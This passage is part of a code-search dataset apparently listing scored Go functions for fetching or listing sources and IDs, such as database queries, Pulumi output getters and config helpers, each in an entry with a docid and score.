"0.59522986", "text": "func GetSources(node sqalx.Node) ([]*Source, error) {\n\tsources := []*Source{}\n\n\ttx, err := node.Beginx()\n\tif err != nil {\n\t\treturn sources, err\n\t}\n\tdefer tx.Commit() // read-only tx\n\n\trows, err := sdb.Select(\"id\", \"name\", \"automatic\").\n\t\tFrom(\"source\").RunWith(tx).Query()\n\tif err != nil {\n\t\treturn sources, fmt.Errorf(\"GetSources: %s\", err)\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar source Source\n\t\terr := rows.Scan(\n\t\t\t&source.ID,\n\t\t\t&source.Name,\n\t\t\t&source.IsAutomatic)\n\t\tif err != nil {\n\t\t\treturn sources, fmt.Errorf(\"GetSources: %s\", err)\n\t\t}\n\t\tsources = append(sources, &source)\n\t}\n\tif err := rows.Err(); err != nil {\n\t\treturn sources, fmt.Errorf(\"GetSources: %s\", err)\n\t}\n\treturn sources, nil\n}", "title": "" }, { "docid": "11c6fed2d65379047b70a50bc8072e80", "score": "0.5857183", "text": "func (m *DeviceConfigurationSettingState) GetSources()([]SettingSourceable) {\n val, err := m.GetBackingStore().Get(\"sources\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]SettingSourceable)\n }\n return nil\n}", "title": "" }, { "docid": "938bc10defb34337ec163fe04fe310ac", "score": "0.58014196", "text": "func GetSources(ctx context.Context, db *sql.DB) ([]*Source, error) {\n\tdbLock.RLock()\n\tdefer dbLock.RUnlock()\n\n\tres, err := db.QueryContext(ctx, `\n\t\tSELECT rowid, kind, created_at, updated_at, url, ranking_priority, tag, metadata FROM sources;\n\t`)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer res.Close()\n\n\tvar output []*Source\n\tfor res.Next() {\n\t\tvar o Source\n\t\tif err := res.Scan(&o.UID, &o.Kind, &o.CreatedAt, &o.UpdatedAt, &o.URL, &o.Rank, &o.Tag, &o.Metadata); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\toutput = append(output, &o)\n\t}\n\n\treturn output, nil\n}", "title": "" }, { "docid": "5b74aeaac05d9c5e1a2e1417dcc4c11e", "score": "0.57799834", "text": "func (l *library) GetSrcs(ctx blueprint.ModuleContext) []string {\n\tg := getBackend(ctx)\n\tsrcs := l.Properties.getSources(ctx)\n\tsrcs = append(srcs, l.Properties.Build.SourceProps.Specials...)\n\tctx.VisitDirectDepsIf(\n\t\tfunc(m blueprint.Module) bool { return ctx.OtherModuleDependencyTag(m) == generatedSourceTag },\n\t\tfunc(m blueprint.Module) {\n\t\t\tif gs, ok := m.(dependentInterface); ok {\n\t\t\t\tsrcs = append(srcs, getSourcesGenerated(g, gs)...)\n\t\t\t} else {\n\t\t\t\tpanic(errors.New(ctx.OtherModuleName(m) + \" does not have outputs\"))\n\t\t\t}\n\t\t})\n\treturn srcs\n}", "title": "" }, { "docid": "3c10df98bab7e3c5a4a63c9df7908350", "score": "0.57489514", "text": "func (o GetRouteMapsMapOutput) SourceRouteTableIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v GetRouteMapsMap) []string { return v.SourceRouteTableIds }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "422abdd3b7381f1ed192af050d63d91a", "score": "0.57338315", "text": "func (o GetRouteMapsMapOutput) SourceInstanceIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v GetRouteMapsMap) []string { return v.SourceInstanceIds }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "294f32c764ef7c1573edc01f9c100c7f", "score": "0.57091254", "text": "func (s *Store) ListSourceImages() ([]int, error) {\n\tret := []int{}\n\tctx := context.Background()\n\tq := &storage.Query{\n\t\tPrefix: fmt.Sprintf(\"source/\"),\n\t}\n\tit := s.bucket.Objects(ctx, q)\n\tfor obj, err := it.Next(); err != iterator.Done; obj, err = it.Next() {\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Failed to retrieve image list: %s\", err)\n\t\t}\n\t\tfilename := strings.Split(obj.Name, \"/\")[1]\n\t\tmatches := sourceFileName.FindAllStringSubmatch(filename, -1)\n\t\tif len(matches) != 1 || len(matches[0]) != 2 {\n\t\t\tsklog.Infof(\"Filename %s is not a source image.\", filename)\n\t\t\tcontinue\n\t\t}\n\t\ti, err := strconv.Atoi(matches[0][1])\n\t\tif err != nil {\n\t\t\tsklog.Errorf(\"Failed to parse souce image filename: %s\", err)\n\t\t\tcontinue\n\t\t}\n\t\tret = append(ret, i)\n\t}\n\treturn ret, nil\n}", "title": "" }, { "docid": "0cf327d430bc9384f472c0cd96776ca9", "score": "0.5699508", "text": "func (s *LogSources) GetSources() []*LogSource {\n\treturn s.sources\n}", "title": "" }, { "docid": "80fc392633f13022692dddc6df7dde78", "score": "0.56634253", "text": "func (config *InitialConfig) GetIds(chIds chan int) error {\n\tif config == nil {\n\t\treturn ErrConfig\n\t}\n\tfor i := config.StartRange; i < config.EndRange; i++ {\n\t\tchIds <- i\n\t}\n\tclose(chIds)\n\tlog.Println(\"Closed ids to download channel\")\n\treturn nil\n}", "title": "" }, { "docid": "5cd79e1fbdbcc2ae789b4fb71d5f60cc", "score": "0.5657208", "text": "func (s *Store) GetSources() ([]string, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tvar response []string\n\tfor k := range s.storage {\n\t\tresponse = append(response, k)\n\t}\n\treturn response, nil\n}", "title": "" }, { "docid": "cbd7f5ef7a345f13e9529207abab9c51", "score": "0.5594393", "text": "func (c *Client) FindUtmSourceIds(criteria *Criteria, options *Options) ([]int64, error) {\n\tids, err := c.Search(UtmSourceModel, criteria, options)\n\tif err != nil {\n\t\treturn []int64{}, err\n\t}\n\treturn ids, nil\n}", "title": "" }, { "docid": "030ce7dfff4ea4fee088d1fa67d38aaa", "score": "0.5576138", "text": "func (o *BulkCreatePayload) GetSources() []BulkCreatePayloadSources {\n\tif o == nil || o.Sources == nil {\n\t\tvar ret []BulkCreatePayloadSources\n\t\treturn ret\n\t}\n\treturn *o.Sources\n}", "title": "" }, { "docid": "2cb2e12c73efbb29b47b0d07df2458fa", "score": "0.5548081", "text": "func (s *Spec) GetSources() []Line {\n\treturn extractSources(s)\n}", "title": "" }, { "docid": "1efc19f97de9b37ff2460e2b55f3ed17", "score": "0.55392504", "text": "func GetAllSources(ctx context.Context, db *sql.DB) ([]*Source, error) {\n\tdlock.Lock().RLock()\n\tdefer dlock.Lock().RUnlock()\n\n\tres, err := db.QueryContext(ctx, `SELECT rowid, name, owner_id, kind, remote, created_at, details_json FROM messaging_source;`)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer res.Close()\n\n\tvar output []*Source\n\tfor res.Next() {\n\t\tvar o Source\n\t\tvar detailsJSONStr string\n\t\tif err := res.Scan(&o.UID, &o.Name, &o.OwnerID, &o.Kind, &o.Remote, &o.CreatedAt, &detailsJSONStr); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif detailsJSONStr != \"\" {\n\t\t\terr := json.Unmarshal([]byte(detailsJSONStr), &o.Details)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\toutput = append(output, &o)\n\t}\n\treturn output, nil\n}", "title": "" }, { "docid": "200657ddf9bf6aa7162ac49c8dbd2cf6", "score": "0.549961", "text": "func (o GetRouteMapsMapOutput) SourceRegionIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v GetRouteMapsMap) []string { return v.SourceRegionIds }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "b7ad151744b185a5581f7652500a24d5", "score": "0.5466331", "text": "func (cfg *Config) Sources() []OptionValuer {\n\tallSources := make([]OptionValuer, 1, len(cfg.sources)+2)\n\n\t// Lowest-priority source is the current command, which returns default values\n\t// for any valid option\n\tallSources[0] = cfg.CLI.Command\n\n\t// Next come cfg.sources, which are already ordered from lowest priority to highest priority\n\tallSources = append(allSources, cfg.sources...)\n\n\t// Finally, at highest priorities are options provided on the command-line,\n\t// and then runtime overrides\n\tallSources = append(allSources, cfg.CLI, cfg.runtimeOverrides)\n\treturn allSources\n}", "title": "" }, { "docid": "340da25917aa732478ae026de249d78b", "score": "0.5452269", "text": "func (_KyberStorage *KyberStorageCaller) GetReserveIdsPerTokenSrc(opts *bind.CallOpts, token common.Address) ([][32]byte, error) {\n\tvar (\n\t\tret0 = new([][32]byte)\n\t)\n\tout := ret0\n\terr := _KyberStorage.contract.Call(opts, out, \"getReserveIdsPerTokenSrc\", token)\n\treturn *ret0, err\n}", "title": "" }, { "docid": "dff2bef409d0bfbc52e9c5c077e9fa8e", "score": "0.5448848", "text": "func (s *LogSources) getSources(filter func(*LogSource) bool) []*LogSource {\n\tsources := make([]*LogSource, 0)\n\tfor _, source := range s.sources {\n\t\tif filter(source) {\n\t\t\tsources = append(sources, source)\n\t\t}\n\t}\n\treturn sources\n}", "title": "" }, { "docid": "910c8add340fe6aa902652985fc4a389", "score": "0.541066", "text": "func (t *ServiceSourceImpl) GetServiceSource(serviceID string) ([]*model.ServiceSourceConfig, error) {\n\tvar serviceSources []*model.ServiceSourceConfig\n\tif err := t.DB.Where(\"service_id=?\", serviceID).Find(&serviceSources).Error; err != nil {\n\t\treturn nil, err\n\t}\n\treturn serviceSources, nil\n}", "title": "" }, { "docid": "b47ec000336e4f12fcd704653a71e403", "score": "0.5374108", "text": "func (s *Scheduler) BoundSources() []string {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tIDs := make([]string, 0, len(s.bounds))\n\tfor ID := range s.bounds {\n\t\tIDs = append(IDs, ID)\n\t}\n\tsort.Strings(IDs)\n\treturn IDs\n}", "title": "" }, { "docid": "cb44c540715c5544cef943270144ed04", "score": "0.53716743", "text": "func (p *Module) getSrcsPathMappings() []pathMapping {\n\treturn p.srcsPathMappings\n}", "title": "" }, { "docid": "a714bca1c17c3325b7877529a0071dfc", "score": "0.5355235", "text": "func GetSources() (Sources, error) {\n\tstore := make(Sources)\n\titer := Db.NewIterator(nil, nil)\n\tfor iter.Next() {\n\t\tk := utils.ToStr(iter.Key())\n\t\tswitch k {\n\t\tcase \"ROOT_TREE\":\n\t\tdefault:\n\t\t\ts := &Source{}\n\t\t\terr := json.Unmarshal(iter.Value(), s)\n\t\t\tif err != nil {\n\t\t\t\tlog.Warn(err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tstore[k] = s\n\t\t}\n\t}\n\titer.Release()\n\tif err := iter.Error(); err != nil {\n\t\treturn Sources{}, err\n\t}\n\treturn store, nil\n}", "title": "" }, { "docid": "810ef47755209b8547c41db4ddeb8906", "score": "0.5279521", "text": "func (suite *Suite) Sources() ([]string, error) {\n\tsuite.lazyInit()\n\treturn suite.p.Sources()\n}", "title": "" }, { "docid": "1f739ecaf9e6ed262504ecc09fb95338", "score": "0.52695936", "text": "func (o ExternalDataConfigurationPtrOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *ExternalDataConfiguration) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceUris\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "d867ef85d2020a561e7f2cb364fd7dc4", "score": "0.5254483", "text": "func (o GetRulesRuleRuleConditionOutput) SourceIpConfigs() GetRulesRuleRuleConditionSourceIpConfigArrayOutput {\n\treturn o.ApplyT(func(v GetRulesRuleRuleCondition) []GetRulesRuleRuleConditionSourceIpConfig { return v.SourceIpConfigs }).(GetRulesRuleRuleConditionSourceIpConfigArrayOutput)\n}", "title": "" }, { "docid": "f01abb6605c90cb654cb1441c4d612fa", "score": "0.5246736", "text": "func (m *Manager) ConfigurationIDs() []uint32 {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\tids := make([]uint32, 0, len(m.configs))\n\tfor id := range m.configs {\n\t\tids = append(ids, id)\n\t}\n\treturn ids\n}", "title": "" }, { "docid": "f01abb6605c90cb654cb1441c4d612fa", "score": "0.5246736", "text": "func (m *Manager) ConfigurationIDs() []uint32 {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\tids := make([]uint32, 0, len(m.configs))\n\tfor id := range m.configs {\n\t\tids = append(ids, id)\n\t}\n\treturn ids\n}", "title": "" }, { "docid": "5cd267fcd82b41562548fca505ebebb7", "score": "0.5228778", "text": "func (s *SourceMapper) ListSources() []*Source {\n\treturn s.SourceSlice\n}", "title": "" }, { "docid": "8d24367b455ed2fe8b59b19ae5d9c918", "score": "0.5216985", "text": "func (_KyberStorage *KyberStorageCallerSession) GetReserveIdsPerTokenSrc(token common.Address) ([][32]byte, error) {\n\treturn _KyberStorage.Contract.GetReserveIdsPerTokenSrc(&_KyberStorage.CallOpts, token)\n}", "title": "" }, { "docid": "494b35757203fcc05d9de89b3767a5eb", "score": "0.5212446", "text": "func (_KyberStorage *KyberStorageSession) GetReserveIdsPerTokenSrc(token common.Address) ([][32]byte, error) {\n\treturn _KyberStorage.Contract.GetReserveIdsPerTokenSrc(&_KyberStorage.CallOpts, token)\n}", "title": "" }, { "docid": "dfe2ec5edc7b0213b735984e540f144f", "score": "0.5201963", "text": "func (s *Setup) GetRecommendationItemSources(w http.ResponseWriter, r *http.Request) {\n\tid, err := s.IDParser(chi.URLParam(r, \"id\"))\n\tif err != nil {\n\t\terrhandler.DecodeError(w, r, s.logger, errParseInt, http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\trecommendationItemSources, err := s.model.GetRecommendationItemSources(r.Context(), id)\n\tif err != nil {\n\t\terrhandler.DecodeError(w, r, s.logger, errFetch, http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\ts.ToJSON(w, http.StatusOK, &recommendationItemSources)\n}", "title": "" }, { "docid": "a407d60c591efe45d5cbcde2d7316541", "score": "0.5194138", "text": "func (n *Network) GetIds() []int32 {\n\tvar ids []int32\n\tfor id := range n.conn {\n\t\tids = append(ids, id)\n\t}\n\treturn ids\n}", "title": "" }, { "docid": "cc0bc7565f9ef2eab7cb1ef9ce0426e5", "score": "0.5193346", "text": "func (uOfDPtr *UniverseOfDiscourse) getListenerIDs(id string) mapset.Set {\n\treturn uOfDPtr.listenersMap.GetMappedValues(id)\n}", "title": "" }, { "docid": "b4ec9c038fd80bab121037ae27c80dc8", "score": "0.5186377", "text": "func (a Articles) GetAllSources() []string {\n\tsources := make([]string, 0, len(a.Articles))\n\tfor i := range a.Articles {\n\t\tsources = append(sources, a.Articles[i].Source.Name)\n\t}\n\n\treturn sources\n}", "title": "" }, { "docid": "d51b6e591ab763d3e695250c5e13ae43", "score": "0.5173811", "text": "func GetSourceIPsFromIncomingCtx(ctx context.Context) string {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\tipAddresses, ok := md[ipAddressesKey]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn ipAddresses[0]\n}", "title": "" }, { "docid": "fc48dd30810037435477461a769ea5a7", "score": "0.5169245", "text": "func (s *stateOFED) GetWatchSources() map[string]*source.Kind {\n\twr := make(map[string]*source.Kind)\n\twr[\"DaemonSet\"] = &source.Kind{Type: &appsv1.DaemonSet{}}\n\treturn wr\n}", "title": "" }, { "docid": "39fd8536d030e260e6a8354e6377926f", "score": "0.51687694", "text": "func (s *Server) addSourcesV1Import(tctx *tcontext.Context, cfgs map[string]*config.SourceConfig) error {\n\tvar (\n\t\tadded []string\n\t\terr error\n\t)\n\tfor _, cfg := range cfgs {\n\t\terr = s.scheduler.AddSourceCfg(cfg)\n\t\tif err != nil {\n\t\t\tif terror.ErrSchedulerSourceCfgExist.Equal(err) {\n\t\t\t\terr = nil // reset error\n\t\t\t\ttctx.Logger.Warn(\"source already exists\", zap.String(\"source\", cfg.SourceID))\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\tadded = append(added, cfg.SourceID)\n\t\t}\n\t}\n\n\tif err != nil {\n\t\t// try to remove source configs if any error occurred, but it's not a big problem if failed.\n\t\tfor _, sid := range added {\n\t\t\terr2 := s.scheduler.RemoveSourceCfg(sid)\n\t\t\tif err2 != nil {\n\t\t\t\ttctx.Logger.Error(\"fail to remove source config\", zap.String(\"source\", sid), zap.Error(err2))\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "a4c287d27e30c1dcf4a2eb43f949a876", "score": "0.5164978", "text": "func (o TableExternalDataConfigurationPtrOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *TableExternalDataConfiguration) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceUris\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "419c2ebe46c76ace46656f74754c62d1", "score": "0.5163598", "text": "func (s *Scheduler) GetSourceCfgByID(source string) *config.SourceConfig {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tcfg, ok := s.sourceCfgs[source]\n\tif !ok {\n\t\treturn nil\n\t}\n\tclone := *cfg\n\treturn &clone\n}", "title": "" }, { "docid": "7b27595d823c32a2d99fe69d299215d7", "score": "0.51631373", "text": "func (m *UriClickSecurityState) GetSourceId()(*string) {\n return m.sourceId\n}", "title": "" }, { "docid": "557e4bd66261f9269e0a283adf63a303", "score": "0.51564485", "text": "func (m *EdiscoveryHoldPolicy) GetSiteSources()([]SiteSourceable) {\n val, err := m.GetBackingStore().Get(\"siteSources\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]SiteSourceable)\n }\n return nil\n}", "title": "" }, { "docid": "4edbee62fe1da0147bfde23d7ea62787", "score": "0.5151703", "text": "func (u User) WorkspaceIDs(ctx context.Context) []string {\n\tvar slice []string\n\n\tnodes := GetModelContext(ctx).Nodes\n\n\tfor _, sourceID := range u.SourceIDs {\n\t\tsource := nodes.MustLoadSource(sourceID)\n\t\tslice = append(slice, source.GetWorkspaceIDs()...)\n\t}\n\n\treturn slice\n}", "title": "" }, { "docid": "48f191bbe5d0f5295155707b22e2c9c6", "score": "0.5138387", "text": "func (a *Client) GetDeviceConfigSourceConfigList(params *GetDeviceConfigSourceConfigListParams) (*GetDeviceConfigSourceConfigListOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetDeviceConfigSourceConfigListParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"getDeviceConfigSourceConfigList\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/device/devices/{deviceId}/devicedatasources/{hdsId}/instances/{instanceId}/config\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &GetDeviceConfigSourceConfigListReader{formats: a.formats},\n\t\tAuthInfo: a.authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetDeviceConfigSourceConfigListOK), nil\n\n}", "title": "" }, { "docid": "04a853380c44a4bb5a5cc81c679087d9", "score": "0.5137391", "text": "func (m *GlobalSpecType) GetSourceRulesDBEntries(ctx context.Context, d db.Interface) ([]db.Entry, error) {\n\tvar entries []db.Entry\n\trefdType, err := d.TypeForEntryKind(\"\", \"\", \"fast_acl_rule.Object\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Cannot find type for kind: fast_acl_rule\")\n\t}\n\tfor _, ref := range m.GetSourceRules() {\n\t\trefdEnt, err := d.GetReferredEntry(ctx, refdType, ref, db.WithRefOpOptions(db.OpWithReadRefFromInternalTable()))\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Getting referred entry\")\n\t\t}\n\t\tif refdEnt != nil {\n\t\t\tentries = append(entries, refdEnt)\n\t\t}\n\t}\n\n\treturn entries, nil\n}", "title": "" }, { "docid": "772a7ceba88b4f9631ac0b7a3ecd183e", "score": "0.51373476", "text": "func (m *MediumFile) GetSources(ctx context.Context, userID string, page int) ([]Source, error) {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\n\tval, ok := m.sources[userID]\n\tif !ok {\n\t\treturn nil, ErrUserNotFound\n\t}\n\n\tstart := m.elemsInPage * page\n\tif start > len(val) {\n\t\treturn nil, nil\n\t}\n\n\tend := start + m.elemsInPage\n\tif end > len(val) {\n\t\tend = len(val)\n\t}\n\n\tcount := start\n\tvar resp []Source\n\tfor _, v := range val {\n\t\tcount++\n\n\t\tif count < start {\n\t\t\tcontinue\n\t\t}\n\n\t\tif count > end {\n\t\t\tbreak\n\t\t}\n\n\t\tresp = append(resp, Source{\n\t\t\tURL: v.URL,\n\t\t\tID: v.ID,\n\t\t})\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "75c083beb78488963bd263a11eab9b65", "score": "0.5103743", "text": "func (s *stateNVPeer) GetWatchSources() map[string]*source.Kind {\n\twr := make(map[string]*source.Kind)\n\twr[\"DaemonSet\"] = &source.Kind{Type: &appsv1.DaemonSet{}}\n\treturn wr\n}", "title": "" }, { "docid": "2ae98803f0f9f9fdad10a2034bad9afc", "score": "0.50882137", "text": "func getListLogSourcesFunc(cli *kubernetes.Clientset, logConfigs map[string]*api.LogConfig) func() ([]api.LogSource, error) {\n\tlogger := log.WithFields(log.Fields{\n\t\t\"func\": \"getListLogSourcesFunc\",\n\t})\n\n\tfor k, logConfig := range logConfigs {\n\t\tname := logConfig.Name\n\t\tkind := logConfig.Kind\n\t\tnamespace := logConfig.Namespace\n\t\tlabelSelector, err := getLabelSelector(cli, name, namespace, kind)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"getLabelSelector for logConfig %s failed, err: %v\", logConfig.Name, err)\n\t\t}\n\t\tlogConfigs[k].LabelSelector = labelSelector\n\t}\n\n\treturn func() ([]api.LogSource, error) {\n\t\tlogSources := make([]api.LogSource, 0)\n\n\t\tfor _, logConfig := range logConfigs {\n\t\t\tpodList, _ := cli.CoreV1().Pods(logConfig.Namespace).List(metav1.ListOptions{\n\t\t\t\tLabelSelector: logConfig.LabelSelector,\n\t\t\t})\n\t\t\tfor _, pod := range podList.Items {\n\t\t\t\tlogSources = append(logSources, *api.NewLogSource(&pod, logConfig))\n\t\t\t}\n\t\t}\n\n\t\treturn logSources, nil\n\t}\n}", "title": "" }, { "docid": "b0f2cc603930ff6c5fce7dbeeaa6b38c", "score": "0.50871605", "text": "func (srcs Sources) Sources() []Source { return srcs }", "title": "" }, { "docid": "52645206c551e9be9cbda1db20a066e0", "score": "0.5075403", "text": "func (o ExternalDataConfigurationOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v ExternalDataConfiguration) []string { return v.SourceUris }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "bfe4a13c0514fc5ed6cc8e65dc30822b", "score": "0.50740784", "text": "func (a *StoreAdapter) GetMapIDs(ctx context.Context, filter *store.MapFilter) (mids []string, err error) {\n\tctx, span := trace.StartSpan(ctx, fmt.Sprintf(\"%s/GetMapIDs\", a.name))\n\tdefer SetSpanStatusAndEnd(span, err)\n\n\tmids, err = a.s.GetMapIDs(ctx, filter)\n\treturn\n}", "title": "" }, { "docid": "c6540eb91cff3c996d5e8ce9c090ba95", "score": "0.5070168", "text": "func (c *Client) GetUtmSources(ids []int64) (*UtmSources, error) {\n\tuss := &UtmSources{}\n\tif err := c.Read(UtmSourceModel, ids, nil, uss); err != nil {\n\t\treturn nil, err\n\t}\n\treturn uss, nil\n}", "title": "" }, { "docid": "8ba50c1e7af9a6338e322d742030521d", "score": "0.5063848", "text": "func GetAllDemandSources(ctx context.Context, id int64) ([]DemandSource, error) {\n\n\tvar (\n\t\terr error\n\t\tm []DemandSource\n\t)\n\n\t// session... context\n\tif !(RRdb.noAuth && AppConfig.Env != extres.APPENVPROD) {\n\t\t_, ok := SessionFromContext(ctx)\n\t\tif !ok {\n\t\t\treturn m, ErrSessionRequired\n\t\t}\n\t}\n\n\tvar rows *sql.Rows\n\tfields := []interface{}{id}\n\tif tx, ok := DBTxFromContext(ctx); ok { // if transaction is supplied\n\t\tstmt := tx.Stmt(RRdb.Prepstmt.GetAllDemandSources)\n\t\tdefer stmt.Close()\n\t\trows, err = stmt.Query(fields...)\n\t} else {\n\t\trows, err = RRdb.Prepstmt.GetAllDemandSources.Query(fields...)\n\t}\n\n\tif err != nil {\n\t\treturn m, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar s DemandSource\n\t\terr = ReadDemandSources(rows, &s)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tm = append(m, s)\n\t}\n\n\treturn m, rows.Err()\n}", "title": "" }, { "docid": "d4f72a4ee33997fd157834f082607268", "score": "0.5058842", "text": "func (m *EdiscoveryHoldPolicy) GetUserSources()([]UserSourceable) {\n val, err := m.GetBackingStore().Get(\"userSources\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]UserSourceable)\n }\n return nil\n}", "title": "" }, { "docid": "d9bca415d73a3c55c5773529b1c564df", "score": "0.505136", "text": "func (c *Client) GetSourcesList(paramss ...*GetSourcesListParams) (*GetSourcesListResponse, error) {\n\tif len(paramss) == 0 {\n\t\tparamss = []*GetSourcesListParams{{}}\n\t}\n\tparams := paramss[0]\n\tdata := &GetSourcesListResponse{}\n\tif err := c.SendRequest(params, data); err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "d4efe5ca788e48138602c451bd189e48", "score": "0.50463915", "text": "func (sr subscribedRegistry) ids() []string {\n\tvar ids []string\n\tfor id := range sr {\n\t\tids = append(ids, id)\n\t}\n\treturn ids\n}", "title": "" }, { "docid": "0cf94d77f1923ffb053d7f352756dac4", "score": "0.5045373", "text": "func (o JobConfigurationLoadPtrOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *JobConfigurationLoad) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceUris\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "29abcadcc49cc0315dc794b1809ca843", "score": "0.5045214", "text": "func Sources() ([]Source, error) {\n\tsources := []Source{}\n\terr := unmarshal(\"sources\", &sources)\n\treturn sources, err\n}", "title": "" }, { "docid": "a52f2dbd8a1d6700a9c86026e8f13b00", "score": "0.5039496", "text": "func (o TableExternalDataConfigurationOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v TableExternalDataConfiguration) []string { return v.SourceUris }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "fbf87973b9895ae9de69cbbaed330b00", "score": "0.50287384", "text": "func (this *updateMaker) GetDataSourceEntries() *sqlexp.QueryEntries {\n\tal := &sqlexp.QueryEntries{}\n\tfor i, t := range this.DataSources {\n\t\tif i >= this.TableVisScopeIndex {\n\t\t\tal.AddEntry(t.DataSource)\n\t\t}\n\t}\n\treturn al\n}", "title": "" }, { "docid": "8fa7217186d8af8191c893d8f7e671b4", "score": "0.5025196", "text": "func (s *Server) collectSourceConfigFilesV1Import(tctx *tcontext.Context) (map[string]*config.SourceConfig, error) {\n\tfiles, err := os.ReadDir(s.cfg.V1SourcesPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcfgs := make(map[string]*config.SourceConfig)\n\tfor _, f := range files {\n\t\tif f.IsDir() {\n\t\t\tcontinue // ignore sub directories.\n\t\t}\n\n\t\tfp := filepath.Join(s.cfg.V1SourcesPath, f.Name())\n\t\tcontent, err := os.ReadFile(fp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcfgs2, err := parseAndAdjustSourceConfig(tctx.Ctx, []string{string(content)})\n\t\tif err != nil {\n\t\t\t// abort importing if any invalid source config files exist.\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcfgs[cfgs2[0].SourceID] = cfgs2[0]\n\t\ttctx.Logger.Info(\"collected source config\", zap.Stringer(\"config\", cfgs2[0]))\n\t}\n\n\treturn cfgs, nil\n}", "title": "" }, { "docid": "461d2280b447a525ecad0a77a0c819b8", "score": "0.50191075", "text": "func (o *MonitoringCategoryStatus) HasSourceId() bool {\n\tif o != nil && o.SourceId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "fb1a14b0041a9b70588c84376af8ea3e", "score": "0.501733", "text": "func (o *RebuildOperationRequest) GetSpecificSources() []string {\n\tif o == nil || o.SpecificSources == nil {\n\t\tvar ret []string\n\t\treturn ret\n\t}\n\treturn *o.SpecificSources\n}", "title": "" }, { "docid": "194817b044c1609f516534cbdd648a04", "score": "0.50097406", "text": "func (o CloudSqlSettingsOutput) SourceId() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v CloudSqlSettings) *string { return v.SourceId }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "c60ae0378e0dd2f2a45d199b9b6fa90a", "score": "0.49945965", "text": "func FindSources(g gogl.Digraph) (sources []gogl.Vertex, err error) {\n\t// TODO hardly the most efficient way to keep track, i'm sure\n\tincomings := set.New(set.NonThreadSafe)\n\n\tg.Arcs(func(e gogl.Arc) (terminate bool) {\n\t\tincomings.Add(e.Target())\n\t\treturn\n\t})\n\n\tg.Vertices(func(v gogl.Vertex) (terminate bool) {\n\t\tif !incomings.Has(v) {\n\t\t\tsources = append(sources, v)\n\t\t}\n\t\treturn\n\t})\n\n\treturn\n}", "title": "" }, { "docid": "55d7a53cb09d264ea17c0079260f08e6", "score": "0.49713096", "text": "func (ds Devices) GetIDs() []string {\n\tvar res []string\n\tfor _, d := range ds {\n\t\tres = 